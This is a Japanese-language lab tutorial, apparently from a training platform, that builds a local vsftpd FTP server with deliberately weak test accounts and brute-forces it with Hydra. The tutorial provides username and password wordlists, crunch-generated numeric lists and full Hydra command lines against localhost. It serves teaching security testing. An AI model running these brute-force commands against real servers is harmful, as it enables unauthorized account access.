Hydra を使用した FTP サービスへの攻撃

HydraBeginner
オンラインで実践に進む

はじめに

この実験(Lab)では、多用途なパスワードクラッキングツールである Hydra を使用して、FTP サービスに対するブルートフォース攻撃を実行する方法を学びます。vsftpd を使用してローカル FTP サーバーをセットアップし、セキュリティの脆弱性を示すために、脆弱なパスワードを持つテストアカウントを作成します。

この実験(Lab)では、Hydra 攻撃の実行、結果の分析、および脆弱な認証が FTP サービスをどのように侵害するかを理解する手順を説明します。この実践的な演習では、サーバー構成、攻撃シミュレーション、および制御された環境でのセキュリティ評価について説明します。

ローカル FTP サーバーのセットアップ

このステップでは、LabEx VM 環境で vsftpd (Very Secure FTP Daemon) を使用してローカル FTP サーバーをセットアップします。FTP (File Transfer Protocol、ファイル転送プロトコル) は、ネットワーク上のクライアントとサーバー間でファイルを転送するために使用される標準的なネットワークプロトコルです。コンピューター間のファイル配信を処理するデジタル郵便局のようなものと考えてください。

  1. まず、vsftpd パッケージをインストールする必要があります。このコマンドは、パッケージリストを更新し、FTP サーバーソフトウェアをインストールします。
sudo apt-get update && sudo apt-get install -y vsftpd
  1. インストール後、デフォルトの構成ファイルのバックアップを作成することをお勧めします。これにより、必要に応じていつでも元の設定を復元できます。
sudo cp /etc/vsftpd.conf /etc/vsftpd.conf.bak
  1. 次に、Linux のシンプルなテキストエディタである nano を使用して構成ファイルを編集します。このファイルは、FTP サーバーの動作を制御します。
sudo nano /etc/vsftpd.conf
  1. 構成ファイル内で、これらの重要な設定を変更する必要があります。これらの変更により、次のようになります。
    • 匿名アクセスを無効にする (セキュリティのため)
    • ローカルユーザーがログインできるようにする
    • ファイルのアップロードを許可する
    • ユーザーをホームディレクトリに制限する (安全のため)
anonymous_enable=NO
local_enable=YES
write_enable=YES
chroot_local_user=YES
allow_writeable_chroot=YES
modify configuration

次のコマンドを実行して、変更を確認できます。

grep -E "^(anonymous_enable|local_enable|write_enable|chroot_local_user|allow_writeable_chroot)=" /etc/vsftpd.conf | cat
verify configuration
  1. これらの変更を加えたら、Ctrl+O (Write Out) を押してファイルを保存し、Ctrl+X で nano を終了します。

  2. 次に、vsftpd サービスを再起動して、構成の変更を適用する必要があります。これは、新しい設定でサーバーを更新するようなものです。

sudo service vsftpd restart
  1. 次に、FTP アクセス専用のテストユーザーアカウントを作成します。-m フラグはホームディレクトリを作成し、-s はデフォルトのシェルを設定します。
sudo useradd -m ftpuser -s /bin/bash
sudo passwd ftpuser

プロンプトが表示されたら、パスワードを password123 に設定します。これはテスト目的でのみこの単純なパスワードを使用しています。実際の状況では、常に強力なパスワードを使用する必要があります。

  1. FTP テスト用の特別なディレクトリを作成し、適切な権限を設定しましょう。これにより、テストユーザーがこのフォルダー内のファイルにアクセスして変更できるようになります。
sudo mkdir -p /home/ftpuser/ftp_test
sudo chown ftpuser:ftpuser /home/ftpuser/ftp_test
  1. 最後に、FTP サーバーが正しく実行されていることを確認する必要があります。このコマンドは、vsftpd サービスのステータスを確認します。
sudo service vsftpd status
service status

サービスがアクティブ (実行中) であることを示す出力が表示されるはずです。エラーが表示される場合は、構成手順を確認する必要があるかもしれません。

テストユーザーでFTPサーバーを設定する

このステップでは、意図的に脆弱なパスワードを持つテストアカウントを作成して、セキュリティテストのために FTP サーバーを準備します。この設定は、ユーザーが単純なパスワードを選択することが多い、実際のシステムで見られる一般的なセキュリティの脆弱性を模倣しています。3 つのテストユーザーを作成し、ホームディレクトリを設定し、Hydra が後で使用するパスワードリストを生成します。

  1. まず、(デモンストレーションのみを目的として) 脆弱なパスワードを持つ 3 つのテストユーザーを作成しましょう。これらのコマンドは、ホームディレクトリを持つ新しいシステムユーザーを作成し、パスワードを設定します。
sudo useradd -m ftpuser1 -s /bin/bash
echo "ftpuser1:password1" | sudo chpasswd

sudo useradd -m ftpuser2 -s /bin/bash
echo "ftpuser2:password2" | sudo chpasswd

sudo useradd -m ftpuser3 -s /bin/bash
echo "ftpuser3:password3" | sudo chpasswd
  1. 次に、各ユーザー専用の FTP ディレクトリを作成し、適切な所有権を設定します。これにより、各ユーザーは FTP を介して自分のファイルにのみアクセスできるようになります。
sudo mkdir -p /home/ftpuser1/ftp_files
sudo mkdir -p /home/ftpuser2/ftp_files
sudo mkdir -p /home/ftpuser3/ftp_files

sudo chown ftpuser1:ftpuser1 /home/ftpuser1/ftp_files
sudo chown ftpuser2:ftpuser2 /home/ftpuser2/ftp_files
sudo chown ftpuser3:ftpuser3 /home/ftpuser3/ftp_files
  1. 各ユーザーのディレクトリにテストファイルを入力しましょう。これらのファイルは、後で FTP アクセスが成功したかどうかを確認するのに役立ちます。
echo "This is ftpuser1's test file" | sudo tee /home/ftpuser1/ftp_files/test1.txt
echo "This is ftpuser2's test file" | sudo tee /home/ftpuser2/ftp_files/test2.txt
echo "This is ftpuser3's test file" | sudo tee /home/ftpuser3/ftp_files/test3.txt
  1. 続行する前に、テストユーザーの 1 人に対して FTP アクセスが機能することを確認しましょう。この curl コマンドは、FTP 認証情報を使用してファイルをダウンロードしようとします。
curl -u ftpuser1:password1 ftp://localhost/ftp_files/test1.txt

正しく構成されていれば、ターミナルに test1.txt の内容が表示されるはずです。

This is ftpuser1's test file

FTP 攻撃用リストの準備

このステップでは、Hydra が FTP サーバーへのログインを試行するために使用するワードリストを準備します。これらのリストには、Hydra が総当たり攻撃中に体系的に試行する可能性のあるユーザー名とパスワードが含まれています。効果的なワードリストの作成方法を理解することは、ペネトレーションテスト(侵入テスト)にとって非常に重要です。

  1. まず、一般的な FTP ユーザー名を含む基本的なユーザー名リストを作成します。これらは、管理者(administrator)が変更を忘れることがある、デフォルトまたは頻繁に使用されるアカウント名です。
echo -e "ftpuser1\nftpuser2\nftpuser3\nadmin\nroot\nftp\ntest\nuser\nanonymous" > ~/project/ftp_users.txt
  1. 次に、一般的な脆弱なパスワードを含むパスワードリストを作成します。多くのユーザーは、覚えやすいが推測しやすい単純なパスワードを設定します。
echo -e "password1\npassword2\npassword3\npassword123\n123456\npassword\nadmin\nroot\nftp\ntest\nqwerty\nletmein" > ~/project/ftp_passwords.txt
  1. 両方のファイルが正しく作成されたかどうかを、内容を表示して確認しましょう。これにより、リストに意図したものが正確に含まれていることを確認します。
cat ~/project/ftp_users.txt
cat ~/project/ftp_passwords.txt
  1. より複雑なパスワードの組み合わせを生成するために、crunch ツールをインストールします。これは、実際のシステムで使用される可能性のある体系的なパスワードパターンを作成するのに役立ちます。
sudo apt-get install -y crunch
  1. 次に、crunch を使用して、正確に 6 桁の数字パスワードを生成します。これは、誕生日や単純な PIN のような一般的な数字のみのパスワードをシミュレートします。
crunch 6 6 1234567890 -o ~/project/numeric_passwords.txt
  1. すべてのパスワードリストを 1 つの包括的なファイルに結合します。このマージされたリストにより、Hydra は攻撃中に試行するパスワードのオプションが増えます。
cat ~/project/ftp_passwords.txt ~/project/numeric_passwords.txt > ~/project/combined_passwords.txt
  1. 作成したパスワードエントリの数を確認します。これは、総当たり攻撃にかかる時間を見積もるのに役立ちます。
wc -l ~/project/combined_passwords.txt
  1. 最後に、デモンストレーションのために、より小さなテストパスワードファイルを作成します。サブセットを使用すると、完全な攻撃を実行する前に、セットアップが機能することを確認できます。
head -n 50 ~/project/combined_passwords.txt > ~/project/test_passwords.txt

FTP サービスに対する Hydra 攻撃の実行

このステップでは、Hydra を使用して、以前に構成したローカル FTP サーバーに対して総当たり攻撃を実行します。Hydra は、FTP を含む多くのプロトコルをサポートする一般的なパスワードクラッキングツールです。総当たり攻撃は、正しいパスワードが見つかるまで、可能なすべてのパスワードの組み合わせを体系的に試行します。これは、脆弱なパスワードがそのような攻撃に対して脆弱である理由を示しています。

  1. まず、Hydra のヘルプメニューを確認して、Hydra がインストールされていることを確認します。これにより、ツールを使用する準備ができていることが確認され、利用可能なオプションが表示されます。
hydra -h
  1. 作成したユーザー名とパスワードのリストを使用して、基本的な Hydra 攻撃を実行します。-L はユーザー名リストを指定し、-P はパスワードリストを指定します。Hydra は、localhost で実行されている FTP サービスに対して各組み合わせを試行します。
hydra -L ~/project/ftp_users.txt -P ~/project/test_passwords.txt ftp://localhost
hydra attack
  1. 攻撃の進行状況の詳細な出力を表示するには、-vV フラグを追加します。この詳細(verbose)モードは、攻撃中に Hydra が何をしているかを理解するのに役立ちます。
hydra -vV -L ~/project/ftp_users.txt -P ~/project/test_passwords.txt ftp://localhost
  1. 完全なパスワードリストを使用して、より包括的な攻撃を実行します (これには時間がかかります)。-t 4 オプションは、サーバーの過負荷を避けるために、4 つの並列接続に制限しますが、それでも良好な速度を維持します。
hydra -L ~/project/ftp_users.txt -P ~/project/combined_passwords.txt ftp://localhost -t 4
  1. Hydra が有効な認証情報を見つけると、それらは出力に表示されます。これは、どのユーザー名/パスワードの組み合わせが FTP サーバーへの認証に成功したかを示しています。成功出力の例:
[21][ftp] host: 127.0.0.1   login: ftpuser1   password: password1
  1. 結果をファイルに保存して、後で分析します。-o オプションは、出力を画面に表示するだけでなく、ファイルに書き込みます。
hydra -L ~/project/ftp_users.txt -P ~/project/test_passwords.txt ftp://localhost -o ~/project/hydra_results.txt
  1. 結果ファイルを確認して、認証情報が検出されたかどうかを確認します。これにより、攻撃が完了した後で調査結果を確認できます。
cat ~/project/hydra_results.txt

まとめ

この実験(Lab)では、vsftpd を使用してローカル FTP サーバーを構成する方法を学びました。これには、パッケージのインストール、ローカルユーザーアクセスのための構成調整、および脆弱なパスワードを持つテストアカウントの作成が含まれます。このプロセスには、vsftpd.conf 設定の変更、適切なディレクトリ権限の設定、およびサービス機能の検証が含まれていました。

さらに、予測可能な認証情報を持つ複数のアカウントを作成することにより、Hydra 攻撃のテスト環境を準備しました。このセットアップは、現実的なセキュリティテスト条件を維持しながら、総当たり(brute-force)テクニックを練習するための制御されたシナリオを提供します。